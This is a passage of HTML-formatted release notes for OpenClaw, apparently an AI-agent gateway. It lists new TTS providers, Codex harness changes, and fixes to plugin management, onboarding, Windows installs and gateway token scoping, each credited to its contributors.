<li>Diagnostics/OTEL: support <code>OPENCLAW_OTEL_PRELOADED=1</code> so the plugin can reuse an already-registered OpenTelemetry SDK while keeping OpenClaw diagnostic listeners wired. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4327404376" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71450" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71450/hovercard" href="https://github.com/openclaw/openclaw/pull/71450">#71450</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jlapenna/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jlapenna">@jlapenna</a>.</li>
<li>Providers/Xiaomi: add MiMo TTS as a bundled speech provider with MP3/WAV output and voice-note Opus transcoding. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116510361" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52376" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52376/hovercard" href="https://github.com/openclaw/openclaw/issues/52376">#52376</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4149888425" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55614" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55614/hovercard" href="https://github.com/openclaw/openclaw/pull/55614">#55614</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zoujiejun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zoujiejun">@zoujiejun</a>.</li>
<li>Providers/ElevenLabs: include <code>eleven_v3</code> in the bundled TTS model catalog so model selection surfaces can offer ElevenLabs v3. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4285755724" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68321" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68321/hovercard" href="https://github.com/openclaw/openclaw/pull/68321">#68321</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/itsuzef/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/itsuzef">@itsuzef</a>.</li>
<li>Providers/Local CLI TTS: add a bundled local command speech provider with file/stdout input, voice-note Opus conversion, and telephony PCM output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4158165001" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56239" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56239/hovercard" href="https://github.com/openclaw/openclaw/pull/56239">#56239</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solar2ain/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solar2ain">@solar2ain</a>.</li>
<li>Providers/Inworld: add Inworld as a bundled speech provider with streaming TTS synthesis, voice listing, voice-note output, and PCM telephony output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4155025815" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55972" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55972/hovercard" href="https://github.com/openclaw/openclaw/pull/55972">#55972</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cshape/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cshape">@cshape</a>.</li>
<li>Providers/Volcengine: add Volcengine/BytePlus Seed Speech as a bundled TTS provider with API-key auth, native Ogg/Opus voice-note output, and MP3 audio-file output. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4150318584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55641" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/55641/hovercard" href="https://github.com/openclaw/openclaw/pull/55641">#55641</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xuruiray/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xuruiray">@xuruiray</a>.</li>
<li>Android/Talk Mode: expose Talk Mode in the Voice tab with runtime-owned voice capture modes and microphone foreground-service escalation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-latitude/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-latitude">@alex-latitude</a>.</li>
<li>Providers/LiteLLM: register <code>litellm</code> as an image-generation provider so <code>image_generate model=litellm/...</code> calls and <code>agents.defaults.imageGenerationModel.fallbacks</code> entries resolve through the LiteLLM proxy. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zqchris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zqchris">@zqchris</a>.</li>
<li>Providers/fal: add Seedance 2.0 reference-to-video models with multi-image, video, and audio reference input mapping plus model-specific capability limits for <code>video_generate</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shivanker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shivanker">@shivanker</a>.</li>
<li>Codex harness: require Codex app-server <code>0.125.0</code> or newer and cover native MCP <code>PreToolUse</code>, <code>PostToolUse</code>, and <code>PermissionRequest</code> payloads through the OpenClaw hook relay.</li>
<li>Agents/Codex: teach prompts and <code>agents_list</code> to surface native Codex app-server availability so agents prefer <code>/codex ...</code> over Codex ACP unless ACP/acpx is explicit. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>ACPX/Droid: add Factory Droid to the live ACP bind Docker matrix, including <code>.factory</code> settings staging, <code>FACTORY_API_KEY</code> forwarding, and the single-agent <code>test:docker:live-acp-bind:droid</code> recipe.</li>
<li>TTS/personas: add provider-aware TTS personas with deterministic provider binding merges, <code>/tts persona</code> controls, gateway/CLI persona state, Google Gemini <code>audio-profile-v1</code> prompt wrapping, and OpenAI instruction mapping. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4318374088" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70748/hovercard" href="https://github.com/openclaw/openclaw/pull/70748">#70748</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/barronlroth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/barronlroth">@barronlroth</a>.</li>
<li>Voice Wake: add trigger-based routing so macOS voice wake phrases can select a configured agent or session target, with Gateway routing APIs and node update events. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4006394318" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/30354" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/30354/hovercard" href="https://github.com/openclaw/openclaw/pull/30354">#30354</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/longbiaochen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/longbiaochen">@longbiaochen</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Plugins/CLI: let flag-driven <code>openclaw channels add</code> install the selected channel plugin from its default source without opening an interactive prompt, fixing published npm Telegram setup in stdin-closed automation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codex">@codex</a>.</li>
<li>Plugins/startup: load the default <code>memory-core</code> slot during Gateway startup when permitted so active-memory recall can call <code>memory_search</code> and <code>memory_get</code> without requiring an explicit <code>plugins.slots.memory</code> entry, while preserving <code>plugins.slots.memory: "none"</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codex">@codex</a>.</li>
<li>Plugins/CLI: prefer native require for compiled bundled plugin JavaScript before jiti so read-only config, status, device, and node commands avoid unnecessary transform overhead on slow hosts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221630999" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62842" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62842/hovercard" href="https://github.com/openclaw/openclaw/issues/62842">#62842</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Effet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Effet">@Effet</a>.</li>
<li>Plugins/compat: inventory doctor-side deprecation migrations separately from runtime plugin compatibility so release sweeps preserve needed repairs while enforcing dated removal windows. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/compat: add missing dated compatibility records for legacy extension-api, memory registration, provider hook/type aliases, runtime aliases, channel SDK helpers, and approval/test utility shims. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/CLI: refresh the persisted registry after managed plugin files are removed so ClawHub uninstall cannot leave stale <code>plugins list</code> entries. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codex">@codex</a>.</li>
<li>Plugins/CLI: make plugin install and uninstall config writes conflict-aware, clear stale denylist entries on explicit reinstall/removal, and delete managed plugin files only after config/index commit succeeds. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codex">@codex</a>.</li>
<li>Plugins: fail <code>plugins update</code> when tracked plugin or hook updates error, keep bundled runtime-dependency repair behind restrictive allowlists, and reject package installs with unloadable extension entries. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codex">@codex</a>.</li>
<li>Gateway/chat: keep duplicate attachment-backed <code>chat.send</code> retries with the same idempotency key on the documented in-flight path so aborts still target the real active run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4308621432" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70139" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70139/hovercard" href="https://github.com/openclaw/openclaw/issues/70139">#70139</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Feelw00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Feelw00">@Feelw00</a>.</li>
<li>Plugins: share package entrypoint resolution between install and discovery, reject mismatched <code>runtimeExtensions</code>, and cache bundled runtime-dependency manifest reads during scans. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codex">@codex</a>.</li>
<li>Onboarding/setup: keep first-run config reads, plugin compatibility notices, and post-model sanity checks on cold metadata paths unless the user chooses to browse all models, avoiding full plugin/runtime catalog work between prompts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Onboarding/auth: run manifest-owned provider auth choices through scoped setup providers so selecting OpenAI Codex browser/device auth no longer loads every provider runtime before OAuth starts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Onboarding/auth: keep the post-auth default-model policy lookup on manifest/setup metadata so the next prompt appears without loading broad provider runtime. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Onboarding/models: keep skip-auth and provider-scoped model picker prompts off the full global model catalog path, and cache provider catalog hook resolution so setup no longer stalls after auth on large plugin registries. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Gateway/Bonjour: suppress known @homebridge/ciao cancellation and network assertion failures through scoped process handlers so malformed mDNS packets or restricted VPS networking disable/restart Bonjour instead of crashing the gateway. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4274075946" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67578" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67578/hovercard" href="https://github.com/openclaw/openclaw/issues/67578">#67578</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zenassist26-create/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zenassist26-create">@zenassist26-create</a>.</li>
<li>Discord: keep late clicks on already-resolved exec approval buttons quiet when elevated mode auto-resolved the request, while still surfacing real approval submission failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265667453" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66906" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66906/hovercard" href="https://github.com/openclaw/openclaw/issues/66906">#66906</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rlerikse/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rlerikse">@rlerikse</a>.</li>
<li>Agents/subagents: deliver completed yielded-subagent results back to no-thread requester routes via direct fallback when the dormant parent announce turn produces no visible reply, and add QA-lab coverage for the regression. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Gateway/Tailscale: let Tailscale-authenticated Control UI operator sessions with browser device identity skip the device-pairing round trip while still rejecting device-less and node-role connections. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330113557" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71986" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71986/hovercard" href="https://github.com/openclaw/openclaw/issues/71986">#71986</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jokedul/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jokedul">@jokedul</a>.</li>
<li>Doctor: honor <code>OPENCLAW_SERVICE_REPAIR_POLICY=external</code> by reporting gateway service health while skipping service install/start/restart/bootstrap, supervisor rewrites, and legacy service cleanup for externally managed environments. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/update: run package post-update doctor with <code>--fix</code> so package updates repair config migrations before restart. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/update: retry failed npm global updates with <code>--omit=optional</code> and ignore the superseded first failure when the fallback succeeds. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/uninstall: migrate and reset <code>plugins.slots.contextEngine</code> alongside memory slots when plugin ids change or selected plugins are removed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/Discord: keep raw <code>Agent failed before reply</code> runner failures out of Discord group/channel chats and show detailed runner errors in direct chats only when <code>/verbose</code> is enabled. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codex">@codex</a>.</li>
<li>UI/Windows: quote resolved pnpm <code>.cmd</code> launcher paths before spawning UI install/build/test commands so Node installs under <code>C:\Program Files</code> no longer fail as <code>C:\Program</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4072094242" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45275" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45275/hovercard" href="https://github.com/openclaw/openclaw/issues/45275">#45275</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kobevictor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kobevictor">@Kobevictor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stoppieboy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stoppieboy">@stoppieboy</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iubns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iubns">@iubns</a>.</li>
<li>Codex/agent: translate <code>--thinking minimal</code> to <code>low</code> for modern Codex models (gpt-5.5, gpt-5.4, gpt-5.4-mini, gpt-5.2) at request build time so the first turn is accepted instead of paying a wasted call + retry-with-low fallback. Older Codex models still receive <code>minimal</code> directly. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329994264" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71946" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71946/hovercard" href="https://github.com/openclaw/openclaw/issues/71946">#71946</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Plugins/uninstall: remove tracked plugin files from their recorded managed extensions root even when the current state directory points somewhere else, so <code>openclaw plugins uninstall --force</code> does not leave the plugin discoverable. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/runtime: add <code>agentRuntime.id</code> as the canonical config key, migrate legacy runtime-policy configs with <code>openclaw doctor --fix</code>, route canonical Anthropic models through <code>claude-cli</code> without passing CLI backend aliases to embedded harness selection, and load CLI backend owner plugins before channel startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330015913" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71957" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71957/hovercard" href="https://github.com/openclaw/openclaw/issues/71957">#71957</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WolvenRA/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WolvenRA">@WolvenRA</a>.</li>
<li>CLI/update: guard Windows scheduled-task stops by state and timeout so auto-update restart cannot hang indefinitely on <code>schtasks /End</code> before stale-listener cleanup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4306617089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69970" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69970/hovercard" href="https://github.com/openclaw/openclaw/issues/69970">#69970</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yangswld/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yangswld">@yangswld</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sherlock-huang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sherlock-huang">@sherlock-huang</a>.</li>
<li>Windows install/Lobster: execute <code>pnpm.exe</code> directly when <code>npm_execpath</code> points at the native pnpm binary, add an installed-package fallback for the Lobster embedded runtime, and include the Lobster runner regression test in Windows CI. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4298637607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69456" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69456/hovercard" href="https://github.com/openclaw/openclaw/issues/69456">#69456</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/igormf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/igormf">@igormf</a>.</li>
<li>Gateway/install: refresh loaded gateway service installs when the current service embeds stale gateway auth instead of returning already-installed, avoiding LaunchAgent token-mismatch loops after token rotation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4318448606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70752" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70752/hovercard" href="https://github.com/openclaw/openclaw/issues/70752">#70752</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hyspacex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hyspacex">@hyspacex</a>.</li>
<li>Update: ignore bundled plugin <code>.openclaw-install-stage</code> directories during global install verification and packaged dist pruning so leftover runtime-dep staging files do not turn successful updates into <code>unexpected packaged dist file</code> failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329154464" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71752" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71752/hovercard" href="https://github.com/openclaw/openclaw/issues/71752">#71752</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/waynegault/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/waynegault">@waynegault</a>.</li>
<li>CLI/update: fail package updates when post-update plugin sync fails and refresh legacy npm plugin install records before trusting unchanged artifacts, preventing successful updates from restarting with stale or failed plugin state. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Release/update: reject pre-populated bundled plugin <code>.openclaw-install-stage</code> directories, including mixed-case path variants, before package inventory generation so release tarballs cannot ship poisoned runtime-dependency staging debris. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329154464" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71752" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71752/hovercard" href="https://github.com/openclaw/openclaw/issues/71752">#71752</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Node runtime: keep node-host retry timers alive across Gateway restarts and exit on terminal credential pauses so supervised nodes do not become silent zombies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4304346722" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69800" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69800/hovercard" href="https://github.com/openclaw/openclaw/issues/69800">#69800</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/meroli28/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/meroli28">@meroli28</a>.</li>
<li>Gateway/plugins: stop persisted WhatsApp auth state from activating bundled channel runtime-dependency repair during startup when <code>channels.whatsapp</code> is absent, avoiding npm/git stalls on packaged Linux installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330154277" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71994" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71994/hovercard" href="https://github.com/openclaw/openclaw/issues/71994">#71994</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xiao398008/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xiao398008">@xiao398008</a>.</li>
<li>Gateway/device tokens: enforce caller-scope containment inside token rotation and revocation so pairing-only sessions cannot mutate higher-scope operator tokens. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330129522" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71990" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71990/hovercard" href="https://github.com/openclaw/openclaw/issues/71990">#71990</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coygeek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coygeek">@coygeek</a>.</li>
<li>Plugins/channels: keep security checks, thread-binding placement, provider summaries, health formatting, and message action labels on read-only or already-loaded channel metadata instead of importing full channel runtime. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/status: keep config-only channel labels and status security summaries from importing plugin runtime modules just to render metadata. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Sessions/channels: stop group-session metadata from loading bundled channel runtime just to classify <code>#channel</code> subjects, using only already-loaded channel capabilities on that path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/channels: keep native command and native skill <code>auto</code> defaults on static channel metadata so config, audit, and command-list checks do not load channel runtime just to read those defaults. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/channels: keep channel remove selection and all-channel capabilities summaries on read-only plugin metadata, loading channel runtime only for the selected mutation path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/models: keep Provider Index preview rows out of <code>models list --all --provider &lt;id&gt;</code> when the owning provider plugin is disabled, preserving config authority for cold catalog fallbacks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/model runs: keep <code>openclaw infer model run</code> on explicit OpenRouter models from loading the full provider catalog or inheriting chat-agent silent-reply policy, restoring non-empty one-shot probe output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289787526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68791" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68791/hovercard" href="https://github.com/openclaw/openclaw/issues/68791">#68791</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/limpredator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/limpredator">@limpredator</a>.</li>
